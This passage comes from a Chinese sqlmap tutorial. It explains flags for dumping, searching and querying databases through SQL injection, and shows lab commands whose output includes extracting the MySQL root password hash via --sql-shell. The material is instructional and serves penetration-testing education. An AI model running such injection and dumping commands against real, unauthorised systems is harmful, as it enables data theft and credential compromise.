若只想列举部分数据可以使用参数“–start”和“–stop”。如只想列举第一条数据可以添加“–stop 1”,
只想列举第二和第三条数据可以添加“–start 1 –stop
3”,可见这是一个左开右闭区间。
区间范围仅在盲注中有效,因为在基于错误信息的注入和联合查询注入中区间范围会被忽略。
除了用区间范围限制列举的数据外,还可以用“–where”参数来限制列举的数据。
“–where”参数会被Sqlmap转换成WHERE子句,如“–where id>3”会只列举列id的值大于3的数据。
如你所见,Sqlmap十分灵活。可以囫囵地列举整个数据库,也可以细致地在表中选择列,在列中又选择特定数据。
17.列举所有数据库所有表中所有数据
参数:–dump-all和–exclude-sysdbs
使用参数“–dump-all”可列举所有数据库所有表中所有数据。同样地,可使用参数“–exclude-sysdbs”排除系统数据库。
注意微软SQL Server的master数据库不属于系统数据库,因为有些管理员会在这个数据库中存储用户数据。
18.在数据库、表、列中搜索
参数:–search、-C、-T和-D
可以搜索数据库名,在所有数据库中搜索表名,在所有数据库的所有表中搜索列名。
参数“–search”要和下列参数之一配合使用:
-C:后跟以逗号分隔的列名,在整个数据库管理系统中搜索
-T:后跟以逗号分隔的表名,在整个数据库管理系统中搜索
-D:后跟以逗号分隔的库名,在整个数据库管理系统中搜索
在搜索时,Sqlmap会询问用户进行精确搜索还是包含搜索。
默认为包含搜索,即搜索的字符串包含于结果中就认为命中。
精确搜索要求搜索的字符串与结果完全相等。
19.运行自定义的SQL语句
参数:–sql-query和–sql-shell
这一功能允许执行任意的SQL语句,Sqlmap会自动解析给出的SQL语句,选择恰当的注入技术并将给出的SQL语句打包到payload中。
如果查询是个SELECT语句,Sqlmap会返回查询结果。如果Web应用使用的数据库管理系统支持多语句查询,Sqlmap会使用堆注入技术。
但要注意Web应用可能不支持堆查询,例如PHP使用Mysql时不支持堆查询,但使用PostgreSQL时支持堆查询。
下例的目标是SQL Server 2000:
python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query "SELECT 'foo'" -v 1
部分输出如下:
[hh:mm:14] [INFO] fetching SQL SELECT query output: 'SELECT 'foo''
[hh:mm:14] [INFO] retrieved: foo
SELECT 'foo':
'foo'
python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query "SELECT 'foo', 'bar'" -v 2
部分输出如下:
[hh:mm:50] [INFO] fetching SQL SELECT query output: 'SELECT 'foo', 'bar''
[hh:mm:50] [INFO] the SQL query provided has more than a field. sqlmap will now
unpack it into distinct queries to be able to retrieve the output even if we are
going blind
[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS
VARCHAR(8000)), (CHAR(32)))
[hh:mm:50] [INFO] retrieved: foo
[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(98)+CHAR(97)+CHAR(114)) AS VA
RCHAR(8000)), (CHAR(32)))
[hh:mm:50] [INFO] retrieved: bar
[hh:mm:50] [DEBUG] performed 27 quer
如你所见,Sqlmap将提供的SQL语句分成了两个不同的SELECT语句,并分别返回结果。
参数“–sql-shell”提供一个交互式的SQL语句执行环境,支持Tab键补全和命令历史记录。如:
python sqlmap.py -u "http://192.168.56.102/user.php?id=1" --sql-shell
部分输出如下:
[15:06:47] [INFO] calling MySQL shell. To quit type 'x' or 'q' and press ENTER
sql-shell> select 'foo';
[15:07:41] [INFO] fetching SQL SELECT statement query output: 'select 'foo''
select 'foo';: 'foo'
sql-shell> select password from mysql.user where user='root';
[15:07:42] [INFO] fetching SQL SELECT statement query output: 'select password from mysql.user where user='root''
select password from mysql.user where user='root'; [1]:
[*] *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
sql-shell> show tables;
[15:11:15] [INFO] fetching SQL SELECT statement query output: 'show tables'
[15:11:15] [WARNING] something went wrong with full UNION technique (could be because of limitation on retrieved number of entries)
show tables; [1]:
十四、UDF注入
参数:–udf-inject
UDF是“user-defined function”的缩写,UDF是一种针对MySQL和PostgreSQL的高级注入技术,详情见《Advanced SQL injection to operating system full control》。